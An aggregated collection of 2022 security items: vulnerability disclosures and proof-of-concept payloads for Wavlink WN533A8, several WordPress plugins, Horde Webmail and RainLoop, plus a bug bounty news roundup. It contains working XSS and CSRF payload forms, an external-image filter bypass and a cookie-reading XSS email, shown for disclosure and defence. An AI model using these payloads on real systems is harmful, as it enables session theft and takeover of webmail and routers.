Wavlink WN533A8 suffers from a cross site scripting vulnerability.

# Exploit Title: Wavlink WN533A8 - Cross-Site Scripting (XSS)# Exploit Author: Ahmed Alroky# Author Company : AIactive# Version: M33A8.V5030.190716# Vendor home page : wavlink.com# Authentication Required: No# CVE : CVE-2022-34048# Tested on: Windows# Poc code<html>    <body>  <script>history.pushState('', '', '/')</script>    <form action="http://IP_ADDRESS/cgi-bin/login.cgi" method="POST">      <input type="hidden" name="newUI" value="1" />      <input type="hidden" name="page" value="login" />      <input type="hidden" name="username" value="admin" />      <input type="hidden" name="langChange" value="0" />     <input type="hidden" name="ipaddr" value="196.219.234.10" />      <input type="hidden" name="login_page" value="x");alert(9);x=("" />      <input type="hidden" name="homepage" value="main.shtml" />      <input type="hidden" name="sysinitpage" value="sysinit.shtml" />      <input type="hidden" name="wizardpage" value="wiz.shtml" />      <input type="hidden" name="hostname" value="59.148.80.138" />      <input type="hidden" name="key" value="M94947765" />      <input type="hidden" name="password" value="ab4e98e4640b6c1ee88574ec0f13f908" />      <input type="hidden" name="lang_select" value="en" />      <input type="submit" value="Submit request" />    </form>  </body></html>

Wavlink WN533A8 Cross Site Scripting

The Progressive License WordPress plugin through 1.1.0 is lacking any CSRF check when saving its settings, which could allow attackers to make a logged in admin change them. Furthermore, as the plugin allows arbitrary HTML to be inserted in one of the settings, this could lead to Stored XSS issue which will be triggered in the frontend as well.

CVE-2022-2171

The Featured Image from URL (FIFU) WordPress plugin before 4.0.0 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack. Furthermore, due to the lack of validation, sanitisation and escaping in some of them, it could also lead to Stored XSS issues

CVE-2022-2241

The Counter Box WordPress plugin before 1.2.1 is lacking CSRF check when activating and deactivating counters, which could allow attackers to make a logged in admin perform such actions via CSRF attacks

CVE-2022-2245

The GiveWP WordPress plugin before 2.21.3 does not have CSRF in place when exporting data, and does not validate the exporting parameters such as dates, which could allow attackers to make a logged in admin DoS the web server via a CSRF attack as the plugin will try to retrieve data from the database many times which leads to overwhelm the target's CPU.

CVE-2022-2260

Transposh WordPress Translation versions 1.0.8.1 and below suffer from cross site request forgery vulnerabilities.

RCE Security Advisory  
https://www.rcesecurity.com

1. ADVISORY INFORMATION  
=======================  
Product:        Transposh WordPress Translation  
Vendor URL:     https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/  
Type:           Cross-Site Request Forgery [CWE-253]  
Date found:     2021-08-19  
Date published: 2022-07-22  
CVSSv3 Score:   5.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L)  
CVE:            CVE-2021-24912

2. CREDITS  
==========  
This vulnerability was discovered and researched by Julien Ahrens from  
RCE Security.

3. VERSIONS AFFECTED  
====================  
Transposh WordPress Translation 1.0.8.1 and below

4. INTRODUCTION  
===============  
Transposh translation filter for WordPress offers a unique approach to blog  
translation. It allows your blog to combine automatic translation with human  
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)

5. VULNERABILITY DETAILS  
========================  
The WordPress plugin lacks anti-CSRF protection on a lot of its functionalities  
such as the following WordPress ajax actions:

tp_backup - Initiates a new backup  
tp_reset - Resets the plugin's configuration  
tp_cleanup - Deletes automated translations  
tp_dedup - Deletes duplicates  
tp_maint - Fixes internal errors  
tp_translate_all - Triggers an auto-translation of all entries  
tp_translation - Adds a new translation for a given item

Since there is no anti-CSRF token protecting these functionalities, they are  
vulnerable to Cross-Site Request Forgery attacks allowing an attacker to perform  
a variety of attacks as mentioned above.

To successfully exploit this vulnerability, a user with the right to access the  
Transposh "Utilities" or the right to add new translations must be tricked into  
visiting an arbitrary website while having an authenticated session in the  
application.

6. PROOF OF CONCEPT  
===================  
An exemplary exploit to reset the plugin's configuration:

<html>  
  <body>  
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">  
      <input type="hidden" name="action" value="tp_reset" />  
      <input type="submit" value="Submit request" />  
    </form>  
  </body>  
</html>

7. SOLUTION  
===========  
None. Remove the plugin to prevent exploitation.

8. REPORT TIMELINE  
==================  
2021-08-19: Discovery of the vulnerability  
2021-08-20: Contacted the vendor via their contact form  
2021-08-20: Vendor response  
2021-08-20: Sent all the PoC exploits  
2021-08-20: Vendor acknowledges the issues  
2021-09-14: Requested status update from vendor  
2021-10-07: No response from vendor, requested status update again  
2021-10-25: CVE requested from WPScan (CNA)  
2021-10-27: WPScan assigns CVE-2021-24912  
2022-05-22: Sent request for status update on the fix  
2022-05-24: Vendor states that there is no updated planned so far  
2022-07-22: Public disclosure

9. REFERENCES  
=============  
https://github.com/MrTuxracer/advisories

Transposh WordPress Translation 1.0.8.1 Cross Site Request Forgery

New web targets for the discerning hacker

New web targets for the discerning hacker

Summer is here in the northern hemisphere, but this hasn’t interrupted the steady stream of new bug bounty programs from hitting the market.

During the teaser for its new Lockdown Mode this month, **Apple** said vulnerabilities in the new anti-spyware tech can be disclosed via its Security Bounty program. Rewards of up to $2 million are on offer.

Lockdown Mode, which will ship with iOS 16, iPadOS 16, and macOS Ventura, is described as “an extreme, optional protection for the very small number of users who face grave, targeted threats to their digital security”.

Australia’s **Monash University** has also established a new bug bounty program, which is aimed at shoring up its defenses amid a spate of cyber-attacks impacting the education sector.

Added to the mix this month are two new rewards programs for the burgeoning digital identity market, as **Onfido** partners with YesWeHack and India’s **Aadhaar** dips its toe in the water with a program of its own.

Aadhaar is world’s largest digital identity program that provides services to over 1.3 billion Indian residents. To take part in this new, private bug bounty, hackers must apply via the UIDAI website.

There’s a high bar for entry, too, as Aadhaar stipulates that “candidates should be listed in the top 100 of the bug bounty leaderboards such as HackerOne, Bugcrowd, or listed in the bounty programs conducted by reputable companies such as Microsoft, Google, Facebook, \[or\] Apple”.

**The latest bug bounty programs for August 2022**

The past month saw the arrival of several new bug bounty programs. Here’s a list of the latest entries:

**Aadhaar**

**Program provider:  
**Independent

**Program type:  
**Private

**Max reward:  
**TBD

**Outline:  
**In an effort to secure Aadhaar data hosted in UIDAI’s Central Identities Data Repository (CIDR), UIDAI is planning the launch of a new bug bounty program.

**Notes:  
**Full application details can be found on the UIDAI website. The number of participants is being limited to 20, all of whom must be Indian residents.

Check out the UIDAI bug bounty bulletin (PDF) for more details

**Apple – Lockdown Mode**

**Program provider:  
**Independent

**Program type:  
**Public

**Max reward:  
**$2 million

**Outline:  
**Apple has established a new category within the Apple Security Bounty program to reward researchers who find Lockdown Mode bypasses and help improve its protections.

**Notes:  
**Bounties have been doubled for qualifying findings in Lockdown Mode, up to a maximum of $2 million – one of the highest maximum payouts in the industry.

Check out our earlier coverage for more details

**BKEX**

**Program provider:  
**HackenProof

**Program type:  
**Public

**Max reward:  
**$10,000

**Outline:  
**BKEX is a global digital asset trading platform, featuring more than 1,200 cryptocurrencies.

**Notes:  
**The financial service company’s new bug bounty program is replete with a range of in-scope web attack vectors, including remote code execution (RCE), SQL injection vulnerabilities, file inclusion and access control issues, server-side request forgery (SSRF), cross-site request forgery (CSRF), cross-site scripting (XSS), and directory traversal.

Check out the BKEX bug bounty page for more details

**ClickHouse**

**Program provider:  
**Bugcrowd

**Program type:  
**Public

**Max reward:  
**$2,500

**Outline:  
**ClickHouse is an open source, column-oriented OLAP database management system that allows users to generate analytical reports using SQL queries in real time. The main focus of the public program is the open source version of the ClickHouse platform.

**Notes:  
**“No technology is perfect, and ClickHouse believes that working with skilled security researchers across the globe is crucial in identifying weaknesses in any technology,” the company said. “We are excited for you to participate as a security researcher to help us identify vulnerabilities in our open source assets.”

Check out the ClickHouse bug bounty page for more details

**Monash University**

**Program provider:  
**Bugcrowd

**Program type:  
**Public

**Max reward:  
**$2,500

**Outline:  
**Monash University in Melbourne, Australia, has launched a public bug bounty program to help maintain the security of its digital platforms.

**Notes:  
**In-scope targets include the main Monash University web domain and mobile apps, along with various technologies that are used by the institution, including its VPN and FileShare instances.

Check out our earlier coverage for more details

**Onfido**

**Program provider:  
**YesWeHack

**Program type:  
**Private

**Max reward:  
**TBD

**Outline:  
**Digital identity verification company Onfido has launched a new bug bounty program, in partnership with European vulnerability disclosure platform YesWeHack.

**Notes:  
**Commenting on the partnership, Alex Valle, chief product officer at Onfido, said: “Security and compliance are essential to our mission of creating a more open world, where identity is the key to online access, and we are always looking for ways to strengthen this.”

Check out our earlier coverage for more details

**SideFX**

**Program provider:  
**HackerOne

**Program type:**  
Public

**Max reward:**  
$3,000

**Outline:**  
Canada-based SideFX is the developer of Houdini, a 3D animation software application used in film, television, advertising, and video games.

**Notes:**  
Only vulnerabilities discovered in the company’s main web domain, sidefx.com, are applicable under the terms of this new bug bounty program.

Check out the SideFX bug bounty page for more details

**ZBWeb**

**Program provider:**  
HackenProof

**Program type:**  
Public

**Max reward:**  
$5,000

**Outline:**  
Founded in 2013, ZB.com is a worldwide digital trading platform, facilitating the exchange and management of digital assets from all corners of the globe.

**Notes:**  
In-scope web vulnerabilities include business logic issues, payment manipulation, RCE, SQL injection, access control issues, SSRF, CSRF, XSS, and other vulnerabilities with a “clear potential loss”.

Check out the ZBWeb bug bounty page for more details

**Other bug bounty and VDP news this month**

*   **HackerOne** has disclosed details of an incident involving a former employee who was accused of accessing internal data for personal financial gain.
*   **Go Daddy**, **Trellix**, and **Fidelity** have launched (unpaid) vulnerability disclosure programs (VDPs).
*   Advertising platform developer and social media company **Meta** has released its inaugural ‘Bug Bulletin’, which includes details of some of the notable finds identified in its own, and in third-party, code.

**PREVIOUS EDITION** Bug Bounty Radar // The latest bug bounty programs for July 2022

Bug Bounty Radar // The latest bug bounty programs for August 2022

Horde Groupware Webmail Edition through 5.2.22 allows a reflection injection attack through which an attacker can instantiate a driver class. This then leads to arbitrary deserialization of PHP objects.

A webmail application enables organizations to host a centralized, browser-based email client for their members. Typically, users log into the webmail server with their email credentials, then the webmail server acts as a proxy to the organization's email server and allows authenticated users to view and send emails.

With so much trust being placed into webmail servers, they naturally become a highly interesting target for attackers. If a sophisticated adversary could compromise a webmail server, they can intercept every sent and received email, access password-reset links, and sensitive documents, impersonate personnel and steal all credentials of users logging into the webmail service.

This blog post discusses a vulnerability that the Sonar R&D team discovered in Horde Webmail. The vulnerability allows an attacker to fully take over an instance as soon as a victim opens an email the attacker sent. At the time of writing, no official patch is available.

**  
Impact**

The discovered code vulnerability (CVE-2022-30287) allows an authenticated user of a Horde instance to execute arbitrary code on the underlying server. 

The vulnerability can be exploited with a single GET request which can be triggered via Cross-Site-Request-Forgery.  For this, an attacker can craft a malicious email and include an external image that when rendered exploits the vulnerability without further interaction of a victim: the only requirement is to have a victim open the malicious email.

The vulnerability exists in the default configuration and can be exploited with no knowledge of a targeted Horde instance. We confirmed that it exists in the latest version. The vendor has not released a patch at the time of writing. 

Another side-effect of this vulnerability is that the clear-text credentials of the victim triggering the exploit are leaked to the attacker. The adversary could then use them to gain access to even more services of an organization. This is demonstrated in our video:

**  
Technical details**

In the following sections, we go into detail about the root cause of this vulnerability and how attackers could exploit it.

**  
Background - Horde Address Book configuration**

Horde Webmail allows users to manage contacts. From the web interface, they can add, delete and search contacts. Administrators can configure where these contacts should be stored and create multiple address books, each backed by a different backend server and protocol.

The following snippet is an excerpt from the default address book configuration file and shows the default configuration for an LDAP backend:

**turba/config/backends.php**

    $cfgSources['personal_ldap'] = array(
       // Disabled by default
       'disabled' => true,
       'title' => _("My Address Book"),
       'type' => 'LDAP',
       'params' => array(
           'server' => 'localhost',
           'tls' => false,
        // …

As can be seen, this LDAP configuration is added to an array of available address book backends stored in the $cfgSources array. The configuration itself is a key/value array containing entries used to configure the LDAP driver.

**CVE-2022-30287 - Lack of type checking in Factory class**

When a user interacts with an endpoint related to contacts, they are expected to send a string identifying the address book they want to use. Horde then fetches the corresponding configuration from the $cfgSources array and manages the connection to the address book backend.

The following code snippet demonstrates typical usage of this pattern:

**turba/merge.php**

     14 require_once __DIR__ . '/lib/Application.php';
     15 Horde_Registry::appInit('turba');
     16
     17 $source = Horde_Util::getFormData('source');
     18 // …
     19 $mergeInto = Horde_Util::getFormData('merge_into');
     20 $driver = $injector->getInstance('Turba_Factory_Driver')->create($source);
     21 // …
     30 $contact = $driver->getObject($mergeInto);

The code snippet above shows how the parameter $source is received and passed to the create() method of the Turba\_Factory\_Driver. Turba is the name of the address book component of Horde.

Things start to become interesting when looking at the create() method:

**turba/lib/Factory/Driver.php**

     51     public function create($name, $name2 = '', $cfgSources = array())
     52     {
     53     // …
     57         if (is_array($name)) {
     58             ksort($name);
     59             $key = md5(serialize($name));
     60             $srcName = $name2;
     61             $srcConfig = $name;
     62         } else {
     63             $key = $name;
     64             $srcName = $name;
     65             if (empty($cfgSources[$name])) {
     66                 throw new Turba_Exception(sprintf(_("The address book \"%s\" does not exist."), $name));
     67             }
     68             $srcConfig = $cfgSources[$name];
     69         }

On line 57, the type of the $name parameter is checked. This parameter corresponds to the previously shown $source parameter. If it is an array, it is used directly as a config by setting it to $srcConfig variable. If it is a string, the global $cfgSources is accessed with it and the corresponding configuration is fetched.

This behavior is interesting to an attacker as Horde expects a well-behaved user to send a string, which then leads to a trusted configuration being used. However, there is no type checking in place which could stop an attacker from sending an array as a parameter and supplying an entirely controlled configuration.

Some lines of code later, the create() method dynamically instantiates a driver class using values from the attacker-controlled array:

**turba/lib/Factory/Driver.php**

     75  $class = 'Turba_Driver_' . ucfirst(basename($srcConfig['type']));
     76	// …
    112  $driver = new $class($srcName, $srcConfig['params']);

With this level of control, an attacker can choose to instantiate an arbitrary address book driver and has full control over the parameters passed to it, such as for example the host, username, password, file paths etc.

**  
Instantiating a driver that enables an attacker to execute arbitrary code**

The next step for an attacker would be to inject a driver configuration that enables them to execute arbitrary code on the Horde instance they are targeting.

We discovered that Horde supports connecting to an IMSP server, which uses a protocol that was drafted in 1995 but never finalized as it was superseded by the ACAP protocol. When connecting to this server, Horde fetches various entries. Some of these entries are interpreted as PHP serialized objects and are then unserialized. 

The following code excerpt from the \_read() method of the IMSP driver class shows how the existence of a \_\_members entry is checked. If it exists, it is deserialized:

**turba/lib/Driver/Imsp.php**

    223   if (!empty($temp['__members'])) {
    224      $tmembers = @unserialize($temp['__members']);
    225   }

Due to the presence of viable PHP Object Injection gadgets discovered by Steven Seeley, an attacker can force Horde to deserialize malicious objects that lead to arbitrary code execution.

**  
Exploiting the vulnerability via CSRF**

By default, Horde blocks any images in HTML emails that don't have a data: URI. An attacker can bypass this restriction by using the HTML tags <picture> and <source>. A <picture> tag allows developers to specify multiple image sources that are loaded depending on the dimensions of the user visiting the site. The following example bypasses the blocking of external images:

    <picture>
      <source media="(min-width:100px)" srcset="../../?EXPLOIT">
      <img src="blocked.jpg" alt="Exploit image" style="width:auto;">
    </picture>

**Patch**

At the time of writing, no official patch is available. As Horde seems to be no longer actively maintained, we recommend considering alternative webmail solutions.  

**Timeline**

Date

Action

2022-02-02

We report the issue to the vendor and inform about our 90 disclosure policy

2022-02-17

We ask for a status update.

2022-03-02

Horde releases a fix for a different issue we reported previously and acknowledge this report.

2022-05-03

We inform the vendor that the 90-day disclosure deadline has passed

**  
Summary**

In this blog post, we described a vulnerability that allows an attacker to take over a Horde webmail instance simply by sending an email to a victim and having the victim read the email. 

The vulnerability occurs in PHP code, which is typically using dynamic types. In this case, a security-sensitive branch was entered if a user-controlled variable was of the type array. We highly discourage developers from making security decisions based on the type of a variable, as it is often easy to miss language-specific quirks.

**Related Blog Posts**

*   RainLoop Webmail - Emails at Risk due to Code Flaw
*   Horde Webmail 5.2.22 - Account Takeover via Email
*   Zimbra 8.8.15 - Webmail Compromise via Email

CVE-2022-30287: Horde Webmail - Remote Code Execution via Email

The Email Viewer in RainLoop through 1.6.0 allows XSS via a crafted email message.

RainLoop is an open-source webmail client used by thousands of organizations to exchange sensitive messages and files via email. In this blog post, we are warning RainLoop users about a code vulnerability that allows attackers to steal emails from the inboxes of victims. At the time of writing, no official patch is available.

The code vulnerability described in this blog post can be easily exploited by an attacker by sending a malicious email to a victim that uses RainLoop as a mail client. When the email is viewed by the victim, the attacker gains full control over the session of the victim and can steal any of their emails, including those that contain highly sensitive information such as passwords, documents, and password reset links. Let's have a look what happened and what we can learn from it.  

**Impact**

The discovered code flaw is a Stored Cross-Site-Scripting vulnerability (CVE-2022-29360) that affects the latest version v1.16.0 of RainLoop. At the time of writing, no official patch is available. The vulnerability can be exploited in any RainLoop installation that runs with default configurations. An attacker who knows the email address of an employee of a targeted organization can send the victim a maliciously crafted email. When it is viewed in the webmail interface, it executes a hidden JavaScript payload in the browser of the victim. No further user interaction is required.

**  
Technical Details**

In the following sections, we go into detail about the Stored Cross-Site-Scripting vulnerability and how gadgets were abused to make JavaScript run automatically once a victim views a malicious email.

**  
Stored XSS in the email body (CVE-2022-29360)**

RainLoop’s backend is a PHP application that acts as a proxy between a user and their mail server. Similar to mail clients, such as Thunderbird, it enables a user to log into a mail server, fetch emails, view them, and send emails. 

**  
Sanitization Logic**

As RainLoop is a web application, it needs to render incoming emails to HTML code. It also needs to ensure that the rendered HTML code has been validated and does not contain malicious components (e.g. unsafe links, JavaScript tags).

On a high level, RainLoop deploys the following flow to achieve this:

1.  Receive the raw, untrusted HTML code from the mail server
2.  Create an instance of the built-in DOMDocument class in PHP. This parses HTML into a tree structure of HTML elements and their attributes
3.  Depending on the configuration, use an allow or deny list to remove any dangerous contents in the tree structure
4.  Convert the sanitized tree structure of the DOMDocument into HTML code

Intuitively it makes sense to analyze the code that attempts to remove any dangerous HTML code (step 3 in the above’s list) and find a weakness inside of that code to bypass the sanitizer. However, our experience has shown there are often logic bugs **after** the sanitization steps have been performed. From the security researcher's point of view, they are much easier to spot and are often overlooked by developers: for good examples of previous findings using this pattern, see Zimbra Stored XSS and WordPress CSRF to RCE.

We mentioned that the 4th step converts the tree structure of the DOMDocument into HTML code. Usually, this step is trivial as the DOMDocument class has the built-in saveHTML() method which does exactly what is required.

**  
Faking a HTML <body>**

One last problem must be solved before the sanitized HTML code can be rendered to the user: due to normalization performed by the DOMDocument class, the HTML code saveHTML() emits contains <html> and <body> tags.  Although this is perfectly valid and harmless, the front end page of RainLoop that renders the email already contains <html> and <body> tags.

Additionally, <body> tags might contain important attributes such as styles and classes that must be preserved. RainLoop solves these problems by parsing the attributes from the <body> tag of the email structure and then wrapping the HTML code of the email in a fake body that contains the original <body> attributes.

In the following paragraphs, we will describe how this process works in RainLoop, show the corresponding code snippets and finally describe a logic flaw in this process that leads to a Stored XSS vulnerability.

In the first step, RainLoop fetches references to the <html> and <body> nodes from the tree structure and then calls saveHTML() on all children to get the sanitized HTML code without <html> and <body> tags:

 **rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     222    $oHtml = $oDom->getElementsByTagName('html')->item(0);
     223    $oBody = $oDom->getElementsByTagName('body')->item(0);
     224 
     225    foreach ($oBody->childNodes as $oChild)
     226    {
     227        $sResult .= $oDom->saveHTML($oChild);
     228    }

In the next step, the attributes of the <html> node are fetched and added to a newly created <div> tag to simulate the <html> tag:

**rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     232    $aHtmlAttrs = HtmlUtils::GetElementAttributesAsArray($oHtml);
     233    $aBodylAttrs = HtmlUtils::GetElementAttributesAsArray($oBody);
     234 
     235    $oWrapHtml = $oDom->createElement('div');
     236    $oWrapHtml->setAttribute('data-x-div-type', 'html');
     237    foreach ($aHtmlAttrs as $sKey => $sValue)
     238    {
     239        $oWrapHtml->setAttribute($sKey, $sValue);
     240    }

This process is repeated for the <body> tag, but with an important difference: The <div> tag that is created to preserve the <body> attributes is created with the text content \_\_\_xxx\_\_\_. This fake <body> is then appended to the fake <html> node and dumped to HTML code:

**rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     242    $oWrapDom = $oDom->createElement('div', '___xxx___');
     243    $oWrapDom->setAttribute('data-x-div-type', 'body');
     244    foreach ($aBodylAttrs as $sKey => $sValue)
     245    {
     246        $oWrapDom->setAttribute($sKey, $sValue);
     247    }
     248 
     249    $oWrapHtml->appendChild($oWrapDom);
     250 
     251    $sWrp = $oDom->saveHTML($oWrapHtml);

Let’s walk through this code with an example. Let’s assume an attacker sent the following email:

    <html>
    <body data-some-attr="abc">
        <h1>Hello!</h1>
        <p>wehope you are doing good!</p>
    </body>
    </html>

The process we described thus far would then yield the following HTML code, stored in the $sWrp variable:

    <div data-x-div-type="html">
        <div data-x-div-type="body" data-some-attr="abc">
            ___xxx___
        </div>
    </div>

In the final step, the rest of the email is inserted in the wrapping code above. This is done by replacing the \_\_\_xxx\_\_\_ inside of the fake wrapping body with the previously generated HTML code:

**rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     252    $sResult = \str_replace('___xxx___', $sResult, $sWrp);

This would finally yield the following HTML code:

    <div data-x-div-type="html">
        <div data-x-div-type="body" data-some-attr="abc">
            <h1>Hello!</h1>
            <p>I hope you are doing good!</p>
        </div>
    </div>

**  
The Logic Bug**

As an attacker can control the attributes of a <body> tag and their values, they could create a <body> tag with an attribute value of \_\_\_xxx\_\_\_.

This could, for example, result in the following HTML markup:

    <div data-x-div-type="html">
        <div data-x-div-type="body" data-some-attr="___xxx___">
            ___xxx___
        </div>
    </div>

As str\_replace() replaces the \_\_\_xxx\_\_\_ string as many times as it can find, an attacker can insert controlled user input into the quoted value of the data-some-attr. Let’s assume an attacker crafted an email as follows:

    <body data-some-attr="___xxx___">
    <div title="x onclick='alert(document.cookie);//' y">
        XSS PoC
    </div>
    </body>

In this case, the HTML markup would result in the following after replacing \_\_\_xxx\_\_\_ with the rest of the HTML code:

    <body data-some-attr="<div title="x onclick='alert(document.cookie);//' y">
    XSS PoC
    </div>">

**  
Patch**

At the time of writing, no official patch is available. We recommend the RainLoop fork SnappyMail. It has great security improvements and is actively maintained. We would like to thank the maintainers of this fork for their quick response and analysis of this issue. They confirmed to us that they are not affected. For this reason, we recommend users of RainLoop migrate to SnappyMail in the long term.

To help in the short term, we encourage users to apply the following inofficial patch that we developed (please carefully use at your own risk):

    --- /tmp/HtmlUtils.php  2022-04-11 09:34:35.000000000 +0200
    +++ rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php    2022-04-11 09:35:12.000000000 +0200
    @@ -239,7 +239,8 @@
                   $oWrapHtml->setAttribute($sKey, $sValue);
               }
    -           $oWrapDom = $oDom->createElement('div', '___xxx___');
    +           $rand_str = base64_encode(random_bytes(32));
    +           $oWrapDom = $oDom->createElement('div', $rand_str);
               $oWrapDom->setAttribute('data-x-div-type', 'body');
               foreach ($aBodylAttrs as $sKey => $sValue)
               {
    @@ -250,7 +251,7 @@
               $sWrp = $oDom->saveHTML($oWrapHtml);
    -           $sResult = \str_replace('___xxx___', $sResult, $sWrp);
    +           $sResult = \str_replace($rand_str, $sResult, $sWrp);
           }
           $sResult = \str_replace(\MailSo\Base\HtmlUtils::$KOS, ':', $sResult);

In order to use this patch:

1.  Create a backup of your RainLoop files!
2.  Upload the patch file contents above to a file called rainloop\_xss.patch and store it in the root directory of your RainLoop installation
3.  Run the following command:

    patch rainloop/v/1.13.0/app/libraries/MailSo/Base/HtmlUtils.php < rainloop_xss.patch

**Please note that your path may vary, depending on the version of RainLoop you use. In the example above, version 1.13.0 is used. Make sure to use the correct version in your path.  
**

**Timeline**

Date

Action

2021-11-30

We request a security contact by contacting support@rainloop.net. No response

2021-12-06

We request a security contact by creating a GitHub issue. No response

2022-01-03

We contact the vendor via email and the GitHub issue and inform them of our 90-day disclosure policy. No response

**Summary**

In this blog post, we analyzed a Persistent Cross-Site-Scripting vulnerability in RainLoop that triggers when a victim views a maliciously crafted email. The vulnerability occurred due to a logic bug **after** the sanitization process, which is often overlooked by security audits. We have found similar bugs in high-profile targets such as Zimbra and WordPress. In general, we recommend developers to not modifying any data after it has been sanitized, as any modification could reverse the sanitization step. Additionally, it is recommended to work with a DOM tree object, rather than operating on HTML text, as this leaves much more room for mistakes.  

**Related Blog Posts**

*   WordPress CSRF to RCE
*   MyBB From Stored XSS to RCE
*   Zimbra Webmail compromise via email
*   SmartStore.net Malicious message leading to eCommerce takeover

CVE-2022-29360: RainLoop Webmail - Emails at Risk due to Code Flaw

In zulip before 1.3.12, bot API keys were accessible to other users in the same realm.

Tag

#csrf